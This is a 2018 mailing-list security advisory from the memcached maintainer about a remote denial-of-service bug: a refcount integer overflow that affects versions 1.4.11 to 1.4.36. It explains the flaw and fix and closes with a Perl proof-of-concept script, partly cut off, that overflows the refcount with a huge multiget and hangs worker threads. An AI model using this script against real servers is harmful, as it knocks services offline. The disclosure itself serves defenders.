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Date: Thu, 8 Mar 2018 13:15:09 -0800 (PST)
From: dormando <>
Subject: Re: Memcached remote DoS in older versions

> Hello,
> There are a number of hang/crash bugs fixed in older versions of
> memcached. All are noted in the release notes of the versions containing
> the respective fixes, and most are years old.
> I'm writing this in case pointing this out can help drive users to close
> their instances from the internet; aside from participating in DDoS
> attacks and remote users being able to read any data stored in the
> instances, they can also be crashed or deadlocked.

I've requested a CVE.

After further testing, this particular flaw affects versions 1.4.11
through 1.4.36.
1.4.11 was released January 16th, 2012.
1.4.37 (the fix) was released June 4th, 2017.

The fix came from a user reporting deadlocks in running instances, caused
by a bug in their application triggering this particular bug.

It's highly recommended that users not expose memcached directly to the
internet, as this may allow malicious users to read contents of memory,
remote DDoS via the UDP protocol, or crash and hang the instance.

There are also likely other similar issues in even older code.


In versions 1.4.9-11, the items.c:item_remove() was refactored as part of
a thread scalability project. The function will free an item back to slab
memory if the reference count has dropped to zero, *and* the item is no
longer referenced in the hash table + LRU. In .11, the secondary check for
ITEM_LINKED bit was not re-added after a bug fix.

An integer overflow bug has existed as long as memcached has, where many
gets for the same key (> 2^16 in a single multiget or across many slow
connections) can cause the refcount value to overflow.

After .11, the item will automatically free while still being linked in
the LRU and hash table. This allows the memory to be reused for a
different item, while still existing in the hash table + LRU.

Items contain embedded NEXT and PREV links for the LRU. This memory is not
explicitly cleared when items return to the slab allocator.

If this bug is hit multiple times, it can cause data corruption, loops in
the LRU, or loops in hash chain buckets where no valid key is found.


Instances with loops in the LRU's and hash chains can cause a worker
thread to spin CPU while holding various locks (cache_lock in older
versions, item locks in newer ones). Other worker threads can then hang by
requesting the same item lock. The daemon then requires a restart to
become functional again.

I've only tested this against local instances built directly from source.
It is not known to me if long running instances are vulnerable.


Do not expose memcached to untrusted clients. No software mitigations are
known beyond upgrading.


Versions 1.4.37 and newer prevent trivial refcount overflows. Running the
latest version with UDP disabled is highly recommended in general.

The specific fix is in:

If anyone wishes to backport. It is also possible to limit the impact of
the problem by re-adding the ITEM_LINKED bit check in item_remove().


# It may be necessary to run a "flush_all" for this to work on long running
# instances.

use warnings;
use strict;

use IO::Socket::INET;

my $s = IO::Socket::INET->new(PeerAddr => $ARGV[0], Timeout => 4);
die unless $s;

my $USE_SIZES = 0;

print $s "version\r\n";
my $r = <$s>;
if ($r =~ m/^VERSION 1\.5\./) {
    die "unaffected";
} elsif ($r =~ m/^VERSION 1\.(\d+)\.(\d+)/) {
    die "unaffected" if ($1 == 4 && $2 > 36)
        || ($1 == 4 && $2 < 11)
        || ($1 < 4);
    if (($1 == 4 && $2 < 25) ) {
        print "using 'stats sizes' for < 1.4.25\n";
        $USE_SIZES = 1;
} else {
    die "Unknown/unaffected";

$SIG{ALRM} = sub { die "dead\n" };

my $get = 'dd ' x 65540;
chop $get;
my $count = 0;
while (1) {
    eval {
        print "break\n";
        alarm 20;
        print $s "version\r\n";
        $r = <$s>;
        print $s "set dd 0 0 2\r\nno\r\n";
        $r = <$s>;
        print $s "get $get\r\n";
        print $s "get dd\r\n";
        if ($USE_SIZES && $count > 10) {
            # stats sizes infinite loop while holding cache_lock
            print $s "set foo 0 0 2\r\nok\r\n";
            $r = <$s>;
            print $s "stats sizes\r\n";
            $count = 0;
        alarm 0;
    if ($@ && $@ eq "dead\n") {
        print "hang\n";
        eval {
            alarm 10;
            # hang other worker threads on stuck item lock
            for (1..50) {
                $s = IO::Socket::INET->new(PeerAddr => $ARGV[0], Timeout => 4);
                print $s "get dd\r\n";
        die "done";
    } elsif ($@) {
        die $@;

sub wait_end {
    my $s = shift;
    while (1) {
        my $r = <$s>;
        last if $r =~ m/END/;

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